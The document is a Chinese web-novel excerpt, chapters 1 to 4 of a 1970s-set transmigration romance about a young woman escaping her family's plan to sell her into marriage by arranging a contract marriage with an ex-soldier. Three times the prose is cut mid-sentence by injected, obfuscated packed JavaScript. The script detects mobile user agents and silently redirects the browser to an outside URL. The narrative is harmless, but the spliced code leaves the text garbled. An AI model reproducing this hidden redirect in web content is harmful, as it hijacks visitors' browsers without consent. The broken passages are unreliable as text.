《七零娇气后妈幸福日常》 1. 第 1 章 夜深人静,月色朦胧。 谢晚棠在办公室连续熬了好几个大夜设计秋装新款,修修改改终于完工。 精神彻底放松下来的那一刻,突然感觉头重脚轻,一阵眩晕,整个人控制不住朝后栽去。 失去意识前,谢晚棠瞥到桌上完好的盒饭。 午饭晚饭都没吃。 饿晕了。 …… 在后脑勺一跳一跳的涨痛刺激下,谢晚棠缓慢睁开眼睛,入目便是土黄色泥巴和秸秆糊成的破房顶。 谢晚棠微微皱眉,强撑着虚弱的身体坐起来。 即将落山的夕阳透过窗棂糊纸的破洞,洒进来一抹橙黄,是这间狭窄昏暗的小屋里唯一的光亮。 墙也是黄泥糊的,年头久远,黄泥墙上已经有了裂纹。 小屋里除了一张破桌子,就是她坐的这铺了一床破草席子的小炕。 这是哪里?她怎么会在这? 太阳穴突然一阵剧痛,脑海中瞬间如放电影般快速闪过剧情。 她穿书了,穿成了一本70年代文里的同名傻白甜恋爱脑炮灰女配谢晚棠,被花心男知青蒋有年玩弄怀孕后又被抛弃,最后被亲爹卖给了隔壁村的一个傻子给哥哥换了彩礼。 寥寥几笔,悲惨一生。 谢晚棠:…… 这真是悲惨buff叠加了。 “布谷~布谷~布谷~” 谢晚棠刚消化完这炸裂剧情,就听窗外响起三声布谷鸟叫。 在蒋有年花言巧语嘴甜如蜜的强烈攻势下,因为地主成分加上重男轻女的家庭环境,自小备受冷眼的原身以为遇到了真爱,答应了蒋有年今晚去玉米地。 蒋有年跟原身承诺将来会娶她,还会带她一起进城,傻白甜原身就稀里糊涂把自己的第一次给了蒋有年,还怀了蒋有年的孩子。 后来亲爹要卖了她给哥哥换彩礼,原身去找蒋有年,蒋有年却翻脸不认人了,不仅不认她肚子里的孩子,还不承认说过要娶她。 蒋有年看她的眼神犹如蝼蚁:“你也不照照你是什么东西!我一个年轻有为的城市知识青年,怎么可能会娶你一个没有文化的地主闺女!” 那个年代未婚先孕是丑事,原身哪敢说出来,只能认了这个哑巴亏,被家里逼着嫁给了隔壁村的傻子,一辈子受尽磋磨。 “布谷~布谷~布谷~” 没有得到回应,蒋有年在外边又叫了三声。 呵呵。 渣男还在锲而不舍想屁吃呢。 恋爱脑?不存在的。 不过谢晚棠现在还没有精力处理渣男,因为她实在太饿了,饿得胃一抽一抽地疼。 谢晚棠捂着抽疼的胃刚要下炕去找吃的,吱呀一声,破旧的小木门被推开。 谢晚棠抬头,看到一个穿着打满补丁的灰色粗布衣服的中年妇女进来,眼神还有些鬼鬼祟祟的,回头看了门后一眼,确定没人看到,才小心地关上门,从袖子里拿出来一个玉米面窝头塞到她手里。 “晚棠,快吃吧。” 这是原身的母亲薛桂花,虽然穿得破旧,皮肤被风吹日晒得有些沧桑,但眉眼间还是能看出来年轻时候是个漂亮美人。 谢晚棠饿得又要晕过去了,接过窝头,囫囵嚼了几下就往下咽,接着就被玉米面的粗粝质感拉得嗓子疼,止不住地咳起来。 “病病歪歪又是晕又是咳,得了痨病了?!” 东间传来老太太恶毒的咒骂声,听着拐棍和脚步声越来越近,薛桂花吓得脸色都白了,低声催促谢晚棠:“快吃,千万别让你奶奶看见!” 原主家里重男轻女,原主和母亲在家里只能喝菜汤吃瓜干,硬饭都要留给爹、哥哥和老太太吃。 原主之所以晕了,就是因为饿的,低血糖。 谢晚棠赶在老太太进来之前把最后一口窝头咽了下去,薛桂花长舒一口气。 老太太佝偻着腰拄着拐棍站在炕前,高瘦的颧骨上方,一双阴沉狭长的凤眼阴毒地审视着她们娘俩,鼻头狗一样嗅了嗅:“玉米面味儿?你是不是偷偷给这死丫头吃窝头了?!” 谢晚棠无语,一个窝头,老太太这么大反应,好像她偷吃了人参果一样。 薛桂花赶紧道:“娘,哪能呢,就给晚棠吃了点瓜干,是我晚上做玉米面窝头做的,手上还有味儿。” 老太太没找到蛛丝马迹,听到外头大门一开一关的声音,瞪了谢晚棠一眼,拄着拐棍走了。 是原主她爹谢汪洋回来了,薛桂花也赶紧跟出去迎。 “他爹,建国的婚事谈好了吗?” 谢建国是谢晚棠的哥哥。 谢晚棠听着东间传来谢汪洋摔摔打打骂骂咧咧的声音:“这个死老刘头,说咱家是地主,成分不好,本来是决计不会把闺女嫁过来的,但是看建国这孩子还不错,如果咱家能拿上三转一响外加100块钱彩礼,就答应这门亲事!” 谢建国一听就急了:“爹!可是咱家连100块钱都拿不出来,更别提三转一响了!” 老太太拐棍咔咔砸在地上:“全村有几家能拿出来的!他闺女就留着烂在家里吧!” 谢建国急得像热锅上的蚂蚁:“可我喜欢翠芬!爹、奶奶,你们快想想办法啊!我不能没有翠芬!” 谢汪洋烦得使劲敲了敲烟袋锅子:“还能有什么办法!还能凭空变出钱来?!” 谢建国眼瞅着婚事要黄了,开启他一惯的耍赖法宝——嚎啕大哭。 老太太哪里舍得大孙子难受:“隔壁村那个王二家正张罗给小儿子娶媳妇儿,要我说,把那个小妮子卖了,给她哥挣个彩礼钱,留在家里早晚也是个赔钱货!” 谢建国一听立马止住了哭声:“对对对,王二家大儿子在外边当兵,常年往家寄钱,咱家成分不好,晚棠能嫁过去,以后也能过上好日子!” 谢晚棠:“……” 过你个狗屌的好日子啊! 为了自己的好处,就这么上赶着把妹妹嫁给个傻子,这哥的良心也真是让狗吃了! 谢晚棠在家里是独生女,小时候也羡慕过同学有哥哥,可如果是这样狼心狗肺的哥哥,那还是拉倒吧! 薛桂花一听急了,连带着声音都高了:“可王二家那个小儿子是个傻子!晚棠好好一个闺女,怎么能嫁给个傻子!” 谢老太太咒骂道:“不卖她难道卖你?!你一个黄脸婆谁要?一个两个都是赔钱货!” 薛桂花心疼闺女,但也没有胆子跟婆婆顶嘴。 谢汪洋:“我明天请个假去王二家一趟。” 薛桂花几乎带了哭腔:“她爹——” 谢汪洋不耐地敲敲烟袋锅,一锤定音:“这事就这么定了!睡觉!” 东间窸窣了一阵,很快归于平静。 书里今晚原主和蒋有年去玉米地了,没有写这一段,没想到这家人这么早就计划着卖她了。 呵呵,什么年代了,还当旧社会地主家买卖丫鬟呢! 又穷又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634858|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算计的一家人,只有一个娘疼她,可薛桂花跟她一样,也是被这家子吸血鬼吸血的命运。 在这个吃不饱穿不暖的70年代,她时装设计师的技能根本无处发挥。 她需要一个长期饭票+强大靠山,填饱肚子,收拾渣渣。 她已经20了,到了该结婚的年纪,就算她有办法不被卖给那个傻子,这家子吸血鬼也会随便寻个给钱多的张三李四把她嫁了换钱。 看来得尽快把自己嫁出去才行,可是嫁给谁好呢? 母胎单身的谢晚棠脑海中快速回忆书里的人物,自己给自己找对象。 原主虽然是个美人,但在这个成分至上的年代,地主成分在婚恋市场可是要扣大分的。 要么丑八怪、要么老光棍、要么特别穷、要么有残疾……总归一句话,因为各种缺陷娶不到媳妇儿的男人才会娶地主家的闺女。 谢晚棠的工作性质天天泡在美男堆里,眼睛都养叼了,丑的她不行。 她又是个从小被父母宠大的娇娇女,吃糠咽菜的苦日子她也过不了。 有残疾的…… 谢晚棠迅速筛选出一个符合条件的男人。 村东头有个退伍转业在镇武装部工作的男人叫傅青山,长得不错,工作铁饭碗,不过带着五个孩子,但孩子不是他的,是他牺牲的战友的。 村里都传他在部队的时候那里受了伤,那方面应该是不行了,一直不近女色。 那里残疾……也算是残疾吧? 她成分不好,他身体残疾,也算是条件对等了。 傅青山性子狠厉,大队长弟弟的胳膊都被他打断过,村里人都怕他。 而且书中后来傅青山官居高位,是军界大佬。 铁饭碗、潜力股、凶狠镇宅,还不近女色! 这不就是完美的靠山大佬+长期饭票嘛! 窗外的布谷声叫了两个多小时终于停了,盛夏农村的夜晚正是蚊子多的好时候,蒋有年那个狗东西估计被毒蚊子给咬跑了。 吃完窝窝头有了劲,谢晚棠一个挺身坐起来,去找傅青山。 这个年代的人睡觉早,路上一片寂静,月光温暖柔和,照亮乡间的小路。 循着原主的记忆,谢晚棠来到村东头傅青山家。 傅青山家有一个哥哥,一个弟弟,都成家了,还有一个妹妹,都和父母住一起。 傅青山之前一直在外边当兵,这两年才带着五个孩子回来,家里一下子哪能住得下这么多人,就在老房子旁边又简单盖了一间东屋住着,院子里开了个小门和主屋那边通着,外边有单独的外门。 谢晚棠扣了两声门环,不一会儿就听到里边有动静。 没多久,一阵有力的脚步声走近,门吱呀一声从里面推开。 男人只披了件衬衣,露着挺阔结实的胸膛,站在那儿把门挡得死死的。 谢晚棠仰头看他,男人锋利的下颌线条透着冷峻无情,眉眼冷冽,垂眸睨她:“有事?” 谢晚棠直入主题:“我想跟你合作。” 傅青山挑眉不语,似是想不出他们之间能有什么合作。 谢晚棠笑起来眉眼弯弯:“我们结婚吧。” 傅青山:“……” 眼看傅青山要关门,谢晚棠一把顶住门板,指尖堪堪擦过傅青山胸口坚实火热的皮肤。 “我知道我的地主成分不好,但你的……我也不介意,我们也算扯平了吧!” 傅青山:??? 2. 第 2 章 看傅青山神色动摇,谢晚棠趁热打铁:“我们结了婚,我可以帮你照顾孩子收拾家,对你没有任何坏处。” 傅青山的五个孩子并非亲生,傅青山的爹娘哥嫂对此颇为不满。 但是因为傅青山是家里的经济支柱,为了钱他们也只能忍着,不过一边拿着傅青山的钱,一边对几个孩子也不怎么上心就是了,因而傅青山为了孩子其实是想结婚分家的。 只不过他名声不好,村里没有闺女愿意嫁给他,他一个大男人,也没法自己给自己找。 至于他爹娘哥嫂,现在舒舒服服花着他的钱,哪愿意为他张罗找媳妇呢,是以傅青山的婚事就这么耽搁了下来。 傅青山垂眸,用审视的目光打量她:“那对你有什么好处?你总不会是喜欢当后妈吧。” 有隐疾的男人心思多疑一些,也是可以理解的。 谢晚棠非常诚恳:“肯定没有人天生喜欢当后妈,我选择你是因为你有更多优点。我虽然没做过后妈,但我会尽力,这点你可以放心。” 傅青山挑眉:“哦?我有什么优点?” 谢晚棠发自内心地拍大佬饭票的马屁:“你看你能挣钱,我跟着你肯定能吃饱饭。你长得也很养眼,让人一看就心情好。而且你一身漂亮肌肉,看起来就很有安全感。你——” “好了!”傅青山皱眉,打断她的解释。 月色朦胧,傅青山面上还是冷冷的,谢晚棠也不知道自己的马屁有没有给大佬拍爽。 傅青山打断她后也没有说话,空气一时间静谧得尴尬。 谢晚棠:“我知道我今晚来得有些唐突,这样吧,给你三天时间考虑。” 直到谢晚棠娇小的身影消失在胡同尽头,傅青山才收回视线。 哪有姑娘深夜自己上门提结婚的? 还对着男人说那样露骨的话! * 翌日。 吃完又难吃又不顶饱的瓜干菜汤,谢晚棠照常去下地拔草。 谢汪洋跟大队长请了个假,就匆匆出村了。 谢晚棠哂笑,卖闺女可真积极啊。 只可惜一觉醒来,你闺女换人了。 “小棠!你昨晚怎么没出来!” 谢晚棠正蹲在地上拔草,忽然听到身旁一声压低声音的质问。 谢晚棠顺着声源的方向侧目,就看见一个右眼皮肿得眼睛都睁不开了的青年,除去肿眼泡子不提,还算是个白净的小白脸模样,只是一脸的怨怒不满。 这就是口蜜腹剑、始乱终弃的蒋有年。 很好。 谢晚棠轻咳两声,微微抿唇,水汪汪的大眼睛望着蒋有年,白皙的皮肤被太阳晒得透着娇嫩的红,整个一副我见犹怜,声音柔柔软软的:“对不起,我昨晚饿晕倒了,半夜才醒过来,出去找你的时候你已经走了。” 蒋有年听她这么说,立马收起不满:“我就说嘛,我们小棠不是那种不守约定的人,没事,哥哥不怪你,哥哥还给你写了新的情诗,那今晚——” 都跟你说晕倒了,也没关心一句身体,也没说给弄点吃的补补,还想着干那点破事,还情诗play,我呸! 渣王。 看来是蚊子喂得还不够。 谢晚棠莞尔一笑:“你在我家附近容易被人看见,今晚你直接去玉米地等我吧。” 那里蚊子又多又毒,给你来个以毒攻毒。 蒋有年喜笑颜开:“好好好!那哥哥今晚等你啊!” 这个时代未婚男女还是要保持距离的,蒋有年说完就赶紧走了。 蒋有年走后,谢晚棠感觉身边的空气都清新了,渣言渣语简直让人作呕,一口一个哥哥,从小谢晚棠都期待能像同学似的有个哥哥,但现在被蒋有年叫得她都无法直视哥哥这两个字了! 干完活回家的路上,男人和男人、妇女和妇女、少女和少女都三五成群地往回走,唯有谢晚棠一个人落在后边,没人愿意跟地主家的闺女走得近。 不过谢晚棠也不在意,乐得清静。 一个人走在乡间的小路上,欣赏着最淳朴的乡野风光,呼吸着最干净清新的空气,好像回到了小时候在姥姥家的童年时光。 谢晚棠忍不住哼起歌来:“走在乡间的小路上,暮归的老牛是我同伴……” 要是能吃饱饭、吃好饭就完美了! “走个路也得哼小曲儿,真是时刻想着勾引男人!” 谢晚棠闻声看过去,只见前边路中间站着三个绑双辫的小土妞,正叉腰看她,说话的就是中间那个大方脸皮肤最黑的妞。 “就算你长得再好看,就你家那成分,好男人也不会娶你这样的!” 这个年代把成分看得非常重,贫下中农那是杠杠硬,而地主家的孩子就算长得再好看也很难找对象。 原身这容貌,至少也是村花级别了,几个小土妞羡慕嫉妒恨也是可以理解的。 谢晚棠慢悠悠走到小黑妞面前,上下打量她一圈,神色淡淡的:“嗯,好男人都上赶着娶你这样的。” 黑妞眉头一拧,脖子往前一梗:“你那什么眼神?你敢骂我丑?!” 谢晚棠莞尔一笑:“我没骂。” 丑是事实,但我没骂哦。 “你——” “傅青宁。”黑妞刚要指着她鼻子开骂,一声冷冽的男声打断了面前的烦扰局面。 谢晚棠往黑妞身后看过去,是傅青山推着自行车过来了。 傅青山穿着斯文的白衬衣黑长裤,依旧遮不住周身冷冽的气场。 原本气势汹汹的黑妞突然泪眼婆娑地跑到傅青山面前:“二哥!谢晚棠骂我丑!” 原来这黑妞就是傅青山的妹妹傅青宁,因为嫉妒原身的长相,时不时就拿原身的成分来说事打压原身,寻求心理平衡和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634859|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满足。 都是同父同母生的,哥哥挺好看,妹妹咋就生成这样了,这就是传说中的生着生着没有墨了吗? 傅青山冷冽的视线投过来,谢晚棠也不示弱仰头对上,就算得罪了他妹妹他不想合作了,谢晚棠也无所谓,谁让他妹妹先来惹她的,她可不是原身那种好欺负的性子。 两人视线对视了片刻,傅青山偏头对傅青宁道:“回去帮娘做饭。” 傅青宁向来拿捏谢晚棠拿捏惯了,哪里咽的下这个气,气得直跺脚:“你妹妹被人欺负了你不管!你必须帮我教训她!” 傅青山像是耐心终于耗尽,脸彻底冷下来:“如果别人说了事实我就要去教训,我是地主老财还是土匪恶霸?!少惹事,回家去!” 傅青山这句更扎心,比谢晚棠说得扎心一万倍,像是直接给傅青宁丑这个事盖棺定论了,气得傅青宁黑红的脸都紫了,气呼呼地一把推开傅青山走了,旁边两个跟班也赶紧跟上。 路上只剩了他们俩,傅青山推着自行车换了个方向,跟她一起往回走。 男人走在他身边却不说话,炎炎夏日也盖不住他周身的冷气。 谢晚棠想了想:“说了你可能不信,但我确实没有骂你妹妹,如果你因为你妹妹的事对我不满,我们的合作就算了,我也不是非你不行。” 傅青山一把攥住车把,车子和人霎时停住,车胎在地上拉出一阵声响。 谢晚棠回过头来,虽然傅青山一直也没什么表情,但现在脸色明显更难看了。 摆脸色给谁看? 谢晚棠下意识也扬起下巴,毫不示弱。 在这场无声的对峙中,傅青山率先打破了死寂:“昨晚还说我这么好那么好,今天就又不是非我不行了?” 谢晚棠:“我不是这个意思。” 傅青山挑眉。 谢晚棠无奈解释:“我的意思是,我虽然想和你结婚,但不会因此任由你妹妹欺负,如果你纵容你妹妹欺负我,我也不是非你不行。” 她解释完,傅青山皱眉:“我什么时候纵容她了?” 谢晚棠被噎住,也是,傅青山刚才确实没有一句是向着傅青宁纵容的,甚至还无意中往傅青宁心头扎了一刀。 谢晚棠抿唇:“我是提前跟你说好。” 傅青山不辨喜怒地“嗯”了声,没再继续纠缠‘非你不行’这个问题:“彩礼你有什么要求?” 彩礼? 反应过来这是饭票大佬对她昨晚的回应,谢晚棠的胃瞬间都有点舒服:“我都行,你根据你的能力来。” 傅青山点了点头,又问:“时间呢?” 谢晚棠:“越快越好。” 三言两语,结婚的事就这么定下来了。 谢晚棠母胎单身,没结过婚,不知道别人结婚是不是也这么草率。 不过合约婚姻效率高点,好像也正常? 3. 第 3 章 走到分叉路口,傅青山从包里拿出一包桃酥递给谢晚棠。 桃酥在21世纪都是老人才吃的东西,但是在白面馒头都吃不上的70年代,这种大油水的糕点可是稀罕物。 既然是饭票主动给她的,她也没必要做样推辞,接过来对傅青山笑着说了声谢谢。 * 傅青山到家的时候,一家人围在炕上正准备开饭。 傅青宁坐在炕头,见他回来气呼呼地哼了一声,扭头不看他。 傅青宁从小被爹娘惯得脾气大,哥哥嫂子们也都习惯了,没人问,只招呼傅青山坐下吃饭。 傅大嫂给傅青山拿了碗筷:“青山今天怎么中午回来了?单位今天不管饭?” 平常傅青山只有早晚在家吃饭,中午一般不回来。 傅青山也没理傅青宁,挨着大哥坐下:“有点事。” 傅青山话落,西间小炕上就传来大刚的怒声:“放手!这是妞妞的饼子!” 傅家孩子多,傅大哥家3个,傅三弟家2个,傅青山家还有5个,一个炕坐不下,是而一直是大人们在东炕吃,孩子们在西炕吃。 傅青山正好还没脱鞋,下炕直接往西间去了。 傅大嫂赶紧跟过去:“小孩子们就是爱闹,不声不响不热闹。” 傅青山腿长,几步到了西间,炕上10个小孩挤坐一团,大刚黑着脸攥着二柱的手腕,二柱的手里正攥着一块玉米面饼子,大刚旁边的妞妞在无声地抹眼泪。 大刚是傅青山的大儿子,妞妞是傅青山的小闺女,二柱是傅三弟家的小儿子。 傅青山视线扫了一圈,大哥和三弟家的五个孩子碗里都是玉米饼子,他的五个孩子碗里都是瓜干。 他晚上回来吃饭的时候,孩子这桌跟他们一样都吃饼子。 中午他一般不回来,回来这一次,就看到他的孩子吃瓜干,傅青山一眼就明白是什么事。 不只是吃的,虽然这个年纪的孩子穿衣服费,都打补丁,但他的孩子打的补丁格外多。 大刚看了一眼傅青山,没有松手,另一只手直接把饼子从二柱手里拽了出来,放到妞妞碗里:“二柱已经吃过一块饼子了,还来抢妞妞的。” 二柱想哭,但看到二大爷站在这儿像山一样,吓得又憋了回去。 老三家的也跟过来了,一听大刚这么说,顿时脸上挂不住,轻咳一声:“行了行了,都好好吃饭,快别闹了。” 傅青山回头看了一眼嫂子和弟妹,没说话,回东间拿了4个饼子过来放到大刚他们面前,这才回东间炕上。 傅老太当家,傅老汉和两个儿子虽然不管家事,但趁傅青山不在家给那5个孩子吃两样饭这事他们也都知道,不过不沾血缘的孩子不心疼罢了。 都知道这事办得没脸,但傅青山没开口,也就没人闲得再提这茬。 直到傅大嫂和老三家的上了炕,傅青山打破了东间的安静:“我要结婚了。” 一桌人全都支棱起来,傅老太一脸警惕:“谁家的?” 傅青宁也暂时放下气愤,好奇地看过来。 傅青山:“谢家的,谢晚棠。” 傅青宁:??? 傅青宁懵了一瞬,随后彻底气炸了:“谁当我二嫂都行,就她不行!我坚决不同意!” 傅老太长舒一口气,那个地主家的闺女啊,成分差,性子软,嫁过来肯定好拿捏。 村里一般没人愿意嫁给二儿子,她不担心,她最担心的就是儿子找个城里姑娘结婚,到时候再搬到城里去,那肯定不会再把工资交家里了。 谢晚棠好,到时候成家不分家,5个孩子还有人管了,省了她的麻烦了。 傅老太眉开眼笑:“老二也到年纪了,该结婚了,前些年就是让孩子耽误了。” 傅青山:“娘,这样的话不要再说。” 傅老太也不恼:“好好好,不说不说,反正结婚是好事!” 眼看着全家都喜笑颜开,傅青宁简直要爆炸:“什么就好!她今天还骂我丑!我才不要她当我嫂子!” 她今天还骂谢晚棠发骚也没人娶呢,结果她自己的二哥扭头就要娶谢晚棠,这不是打她脸嘛! 傅大嫂不信:“不能吧,谢家那闺女,最是软柿子的脾气,不可能骂人。” 傅三嫂也点头:“对啊,那闺女平时连话都没几句。” 开玩笑呢,要是傅青山真找个厉害媳妇回来,他们想沾傅青山的光都费劲,这小姑子真是被婆婆惯坏了,一点事都不懂。 傅青宁见家里人都向着谢晚棠,气得指着傅青山:“二哥都听见了!” 傅青山:“我没听见。” 傅青宁气得站起来,刚要开口,傅老太斥道:“行了!你二哥的婚事,哪里轮到你一个姑娘家插嘴!” 傅青宁从小被傅老太娇惯惯了,哪里被这样斥过:“你们都向着外人不向着我!” 说完就气呼呼地下炕登上鞋抹着眼泪跑出去了。 傅老太也不管她,心思都在傅青山身上:“那彩礼?” 地主家的闺女,就算长得村花模样,也不好嫁,彩礼随便凑活凑活就行,简直是再合适不过的买卖了! 傅青山:“三转一响,外加200块钱。” 全家几乎异口同声:“什么?!” 这年头在城里娶个姑娘是这个彩礼,可在他们下沟村,这些钱能取10个谢晚棠这样的了! 傅大嫂和三弟妹自然不满,但她们不当家,不敢说话,齐齐看向傅老太。 傅老太脸瞬间就拉下来了:“家里哪有那么多钱!最多20块钱,再加一把暖壶,一个脸盆!你嫂子和弟妹都是20块钱娶回来的,一样用!” 傅大嫂和三弟妹:“……” 抠抠搜搜就给20块钱彩礼也就罢了,还好意思显摆! 一样用? 把人当牲口呢! 傅老太把着家里的钱,强势惯了,妯娌两个心里恶心也不敢说,面上还得贴呼着婆婆。 傅青山不置可否,吃完饭就领着几个孩子回去了。 一家六口像晒干鱼一样在炕上一字摆开午睡,小孩子也不傻,傅青山在东间说要娶媳妇,他们自然都支棱着耳朵听见了。 妞妞一个翻身跪坐起来,小手抓住傅青山的大拇指:“爹,你真的要娶媳妇了?” 傅青山摸了摸妞妞的头:“嗯。” 小刚坐起来:“爹,万一后妈对我们不好怎么办?” 大刚和兰兰两个孩子大,躺在炕上没说话。 二刚小大人一样叹了口气:“哎,小顺子说有了后妈就有后爹。” 傅青山:“我本来不就是你们的后爹吗?” 孩子们:“……” * 谢晚棠回家的时候谢老爹还没回来,看样是去王二家谈得挺好,被留下吃好饭了。 薛桂花脸色很差,还在为她的婚事担心。 谢晚棠帮着把饭端上来,握了握她娘的手,看老太太和谢建国美滋滋地坐在炕上,谢晚棠心底讥笑,这是觉得万无一失了呗。 还当这是一手遮天的旧社会呢,毛主席的领导下岂容你们如此放肆! 盘里有两个窝头,还有一把瓜干。 窝头是给谢建国和谢老太太的,瓜干是她们娘俩的。 谢晚棠干了一头晌的活,饿得肚子都要叫出声来了,拿起一个窝头掰开,自己一半,给薛桂花放碗里一半。 谢晚棠动作太快,一气呵成,谢老太太反应过来的时候,盘里就剩一个窝头,谢老太太一把把筷子拍在桌上:“死丫头片子还有没有点规矩了!” 薛桂花吓得赶紧把一半窝头放回去,并给谢晚棠使眼色。 薛桂花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634860|143734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这个家里二三十年,早就被压迫惯了,根本不敢反抗。 谢晚棠一时改变不了薛桂花,但她不可能再吃瓜干,下午还要去下地,她不可能累死自己。 谢晚棠对上谢老太太要杀人一般的视线:“规矩就是硬饭留给干活的人吃,你在炕上坐着不干活,按理说你就是第一不该吃窝头的。” 说完,谢晚棠连看都懒得看谢老太,就着窝头快速扒拉了几口菜。 许是跟饭票合作敲定有了底气的的缘故,反正谢晚棠是一分钟都不想忍这家子垃圾了。 “你——你爹不在你要反了是吧!建国,给我教训她!”谢老太太在这个家里做主惯了,还从来没被人顶过,气得眼珠子都要凸出来了。 谢建国皱眉看她:“谢晚棠!你怎么跟奶奶说话呢!” 谢晚棠也把筷子拍在桌子上,拿起盘里剩的一个窝头朝谢建国砸过去:“吃吃吃,窝头能堵上你的狗嘴吗!自己的娘天天吃不上顿饱饭你眼跟瞎了一样,上赶着去给别人当狗就赶眼色了,你也算个男人?!” 谢建国是谢家三代单传,从小被全家捧在心尖上,全家谁舍得骂过他一句啊。 谢建国抬眸,就看到他娘眼眶发红,谢晚棠骂得每一句都像是在戳他的脊梁骨,弄得他一时都不知道该不该吃这窝头。 给他娘吃吧,奶奶肯定不让,而且他也想吃窝头,不想吃瓜干。 不给娘吃吧,又显得他好像真的不是个男人一样。 谢晚棠看谢建国这个烂泥扶不上墙的样子就恶心,拉着她薛桂花去了西间关上门。 “小棠,你今天怎么敢对你奶奶——” 谢晚棠把傅青山给她的桃酥拿给薛桂花,薛桂花在家里连个窝头都不敢吃,被这一家子吸血鬼洗脑洗得觉得自己就不配吃窝头,早就忘了小时候也是家人捧在手心里的娇小姐。 薛桂花捏着桃酥,吓得从门缝往外看了看,确定老太太没跟过来,才压低声音问:“这桃酥,哪来的?” 桃酥全是白面、鸡蛋和油烤出来的,在这年头可是好东西,农村人一年到头都不一定吃得起一回。 谢晚棠不愿薛桂花为她担心:“娘,我要结婚了。” 薛桂花瞪大眼:“你爹他——” 谢晚棠:“我不可能嫁给一个傻子。” 薛桂花一听高兴得都想哭了,老谢家重男轻女,从小就待闺女不好,但闺女是她身上掉下来的肉,谁都不疼她也得疼。 薛桂花拉着闺女在炕边坐下:“是谁家的小伙子?” 谢晚棠:“傅青山。” 薛桂花闻声皱眉:“老傅家那个带五个孩子的?” 谢晚棠点头。 薛桂花一下子又高兴不起来了:“都说当后妈难,更别说还是五个孩子的后妈,他那个娘也不是个好相与的,还有,他不是那方面……不行?” 谢晚棠当然不会告诉她娘,他们是合约婚姻,各取所需,傅青山行不行的跟他没关系。 谢晚棠一脸轻松:“但他能让我吃饱饭啊。” 薛桂花叹了口气:“也是,嫁汉嫁汉,穿衣吃饭。” 谢晚棠推推薛桂花的手:“娘你快吃。” 薛桂花“哎”了一声:“那这桃酥?” 谢晚棠点头:“他给的。” 薛桂花说不出心里是什么滋味,闺女能找个男人吃饱穿暖,她自然是高兴,但同为女人,她也知道男人那方面不行……哎! 薛桂花一边吃桃酥,一边看自己的小闺女:“小棠,娘感觉你像是变了个人。” 薛桂花这么说,谢晚棠一点也不惊讶,因为她压根就没想隐藏本性照着原身的性子活。 谢晚棠笑笑:“我饿得差点死了,去阎罗殿走了一圈,彻底想开了,决不能窝窝囊囊在这世上活一遭。” 谁要是让她不好过,那就都别过了! 4. 第 4 章 桃酥是好东西,薛桂花吃了两块说什么也不要了,说好东西不能一下子吃完。 经历过饥荒年代的人,想法是很难改变的。 谢晚棠也不强求,把桃酥包好要放起来。 薛桂花犹豫了下,迟疑道:“你哥他也很久没吃过桃酥了。” 一般人家省吃俭用一年,过年才舍得买包桃酥,还要全家一起分,平时这种不过节的日子,根本不可能去买桃酥吃。 谢家过年买的桃酥,都是谢老太太、谢老爹和谢建国吃了,谢老太太疼孙子,谢建国吃得最多,而谢晚棠和薛桂花从来都捞不着吃。 谢晚棠看着她娘脸上的皱纹,叹了口气:“娘,全家都疼他,不差你一个,你要多疼疼你自己。” 薛桂花怔住,喃喃道:“疼我自己?” 谢建国连一口窝头都不舍得给她,她不但不怨儿子,还时刻记挂着儿子。 谢晚棠也没办法一下子改变薛桂花,在这个家里,薛桂花早已经把自己活没了,仿佛活着就是为了丈夫、为了儿女。 谢晚棠抱了抱薛桂花,给她一点点力量。 薛桂花回过神来,突然反应过来:“可是你爹要是非把你嫁给王二家怎么办?王二家出的彩礼可高。” 谢晚棠挑眉:“那可由不得他,娘你就当什么都不知道,我有办法。” 东间里谢老太太估计是骂累了,也没动静了,谢晚棠把桃酥藏起来就上炕睡了。 体力劳动真的累啊。 晌午睡得出了一身汗,谢晚棠感觉手心里蛰得疼,仔细一看,原身皮肤娇嫩,上午用右手薅草的时候,大拇指和食指的关节处跟草摩擦多了,皮被磨破了,汗发咸,蛰在伤口上就疼。 谢晚棠去院里打了井水把手上的汗冲干净晾干,又回屋里找了块破布条把左手大拇指和食指包好,提前做好准备,下午改换左手拔草,让右手擦破皮的地方长长好。 谢晚棠下地的路上恰巧又碰到傅青宁,傅青宁脸色比晌午那会儿还差,路过她身边的时候,瞪了她一眼,使劲哼了一声,然后屁股特别用力地一扭一扭地越过她走到她前面去了。 谢晚棠不但不生气,反而有点想笑,傅青宁也19了,可这行为,却还像个小学鸡一样。 中午吃了饼子和桃酥,过晌下工感觉有劲多了,就是热的慌,蹲着也累,仿佛回到了学生时代的军训时光。 太阳要落山了谢晚棠才下工回家,谢老爹早就回来了。 